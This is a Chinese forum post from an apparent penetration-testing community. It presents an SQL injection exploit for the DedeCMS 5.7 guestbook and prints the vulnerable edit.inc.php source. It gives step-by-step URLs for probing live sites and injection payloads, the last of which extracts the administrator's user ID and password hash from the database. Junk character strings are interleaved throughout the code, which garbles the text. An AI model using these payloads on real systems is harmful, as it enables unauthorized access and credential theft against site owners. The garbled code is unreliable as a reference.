中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7* Y' J# a& R* {% H/ D
) Q: v+ Q/ I) o3 {9 }' C& b
漏洞文件edit.inc.php具体代码:9 C& \0 O+ ~' c6 q. o
. w  S$ j5 c# ^8 v6 ^
< ?php  
: @" D# e0 l* `  m- j
% m- Q) a6 ?8 Gif(!defined('DEDEINC')) exit('Request Error!');  
/ U( |' b. f3 b2 F2 F" ]. l& e  l+ J- K
   
1 l. p" y, o: |, A% ~7 e- t- b/ [- P7 i4 l2 q: ~! C
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
4 m3 L  ^, f. G7 p/ b' D1 y3 x, w1 J$ _3 n. f
else $GUEST_BOOK_POS = "guestbook.php";  ) e/ F9 s+ B; ]8 y: v
' Q! g* ?, r+ ^
   * |3 m: k& u3 L  P7 v8 i
6 a) ~$ l& B7 m/ h$ I2 \5 _
$id = intval($id);  
+ [8 w3 Z3 S0 c9 o7 T" R3 t
+ _+ J& _# d4 ?* V1 ^9 R) _if(empty($job)) $job='view';  4 }7 q) v" v- `! K
" _' y& ^6 ]- ]  f7 F4 ^" [
   ; q2 u' x3 ^. k9 c& _3 o/ }) W
* [( O% b  u/ o+ f1 _
if($job=='del' && $g_isadmin)  
- w, X) E" L, z# t+ P6 B: c2 n
2 q4 m* K. O2 t- b, N9 Z{  
( V! [) I' P. v. Z* r: f1 O0 c2 x% T
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
- d0 i6 q+ w" ~5 G) y; S( X2 r% B# c' u2 z' l& i! _" m  N
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  4 p5 _3 ?4 }+ C, H' A0 e
3 X  f* g; q8 b$ L
exit();  
9 k( t5 d( W& L8 q- g
5 x; t4 S5 E" V! E$ t* o8 r}  7 l6 ~1 [; V! L

9 _: I7 }4 w$ v9 L; W% Velse if($job=='check' && $g_isadmin)  3 P9 B6 Q! A* N, z6 t

& D7 \/ V$ Y! h2 T# v1 m2 [6 d{  
" h" l# \& [& g/ ^4 L3 }# z0 k/ K
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
6 p9 w6 j/ A, L$ S8 ]' L
; r* n  t; [2 v& f' JShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  6 E. u; i+ J4 z3 M

  D: }# R# j2 W' C- ?/ T) \% s2 Cexit();    X! d# f& W) Y9 F# F, _( l% l

8 U; d% y) d+ f4 Y' s: @! A}  + l. B% }  u( [' a, T8 {. ^9 Y2 |

! I2 k/ Y# \# Uelse if($job=='editok')  7 e  R0 W" @/ Z1 Q8 \& f

, O+ u" q8 {% o" N5 D, R7 T6 B{  
- q  d; h8 _- K+ I+ `. k  f6 d9 X5 X# W7 @" a% b
$remsg = trim($remsg);  ! W4 ?- U& [4 o6 W: l( q

, C3 G# ]& C, aif($remsg!='')  + j9 |/ b5 Y; f% ~
- g3 k4 P/ `, ~. C- V' X
{  
- i) Z/ s) b# y
/ V- R9 S' R9 x3 l* f0 \//管理员回复不过滤HTML By:Errorera blog:errs.cc  
. J. n8 G, S8 A! ^! c5 U) q$ D& P7 d0 E3 n  [' `* g
if($g_isadmin)  5 D! v1 \/ j+ Q8 `9 j4 M5 k6 L
5 s: C& R  m  q! ]+ o
{  
0 |1 b8 ?. `% z: U. J$ D3 w
8 t3 |* _' V. _. f) F: M- R. L: T$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  ! ?7 m0 N2 Q3 [( b, E" G4 P8 }/ e) y

& t7 J+ D8 B0 G, n$ ]! Y7 l//$remsg <br /><font color=red>管理员回复:</font> }  
$ t6 m9 S- g( f3 z( n2 q4 O" M" U% L7 e8 I
else
7 i2 p2 S+ e+ w1 T$ e" @, @  }( J- Z1 w! g1 c# o
{  / h' _' }1 \2 p# E4 s& J- f. j

) i: N5 m. x8 v$ w1 T% k$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  & l& c4 a; u- x2 C6 J
" I2 e- o2 J6 T
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  ' Q; B+ m0 S! o, K

4 d& l& d! I- n- o( y# j$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  % L0 }, m- ?6 t+ c
% `9 @6 `( M. g2 d  n- L
$msg = $oldmsg.$remsg;  3 m1 S+ h6 f- A) U/ F
$ a( f8 U# }" _& M' Z* A3 X
}  . s% E: w/ Q1 Y( C8 K
) c2 z8 D5 u% W% \
}  - ^  F* [7 a9 ~3 N0 s
- T, z( w% q+ F$ a! }
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
7 h+ ?$ }5 d: `( G) N' o. L4 x2 D* P" M3 }  l0 J* ~. v; b: {
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
4 B' k  M. i" I7 F* J9 l
; p9 M! ]5 g8 A, K( i! b( t' CShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  8 N( _+ K  c4 S' [* _6 e1 j' n
& e( D0 }8 ]) m: v
exit();  
( S  M% }+ R+ W; X" a
& Q: s3 [* u. w/ W5 S}  
' F( h" B+ Q( {) \  n- B$ @9 e4 Q4 H. B6 W, S( `# j7 F9 ~' f+ b1 D3 ~4 i
//home:www.errs.cc  & K+ Z) V9 \; f  r
, D( ~) P1 u" @2 n4 ]. d
if($g_isadmin)  + I7 L2 w* r( ^. y
; c: _3 D7 r' e  f) Y( ~! b, c- S
{  
% E9 w. u- L: D, i9 c6 J  }. U6 r- F+ b' u
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
) [; ~# h+ @. ]! S$ C5 m; x9 V% x7 B
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
, n3 R; Y3 h" K5 y2 v8 d5 z7 d
: O% r* C4 c  f5 u4 q: d: n}  
. u. {" o& {! s, |" d( M$ Y. g( m+ Q8 p2 o5 ^( y
else
# E9 @% w: a0 a' `; k( t0 j3 D+ L  C$ v2 I
{  
, Q; @) R& m2 u! T  {* Q
4 f" O& l, b0 D( H. w& ^$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
7 j* L5 y$ N+ ]6 r( A7 O$ D/ c
$ A  p* Y" F' y0 ]( [require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  1 O4 \" D9 t8 f% _5 t# S. G. M

$ q, i- m( a1 s2 w- b} 漏洞成功需要条件:
6 N$ }) P7 G- s  T4 d1. php magic_quotes_gpc=off
: D+ D! H; I* ~1 f4 `2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
0 `& _' \, D+ `  _3 k/ r$ e9 C6 a9 N, D/ b4 K3 P) e
怎么判断是否存在漏洞:$ {- x' J+ m! n: L3 |7 c
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
* C% U+ D& o4 z8 K; l+ E0 A: w然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
* E% M+ W: u; L: R访问:
8 B0 B9 @9 S. Q& F
, P* f( t! K& J" F7 S8 k; Zwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
( Q4 @, U/ j6 m1 s  ^% x. u跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
6 r/ `, D  i/ d* o& {7 m" @$ z. g& s3 p, g- I" Z# e4 h+ D. V
2 [4 t$ X) [  |; F9 d8 z9 w
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off9 [; j+ c4 I" n9 q
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
/ U# H2 u) I& r7 u1 b9 [那么再次访问! g+ v9 Q7 @" a- N1 N& S
+ ]4 H& B# r+ n/ K# ]$ h- [
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().' D8 E1 z' [8 F0 ]

5 s- b# Z) R% ^8 Y7 J大概利用就是这样,大家有兴趣的多研究下!!
: O9 _" r5 w+ m) E. I2 z. f; f* t1 B& ?6 r# C
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!+ {/ |5 u0 ~# _# \/ D+ }- c
  H) {0 e" R% y; s+ Q
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2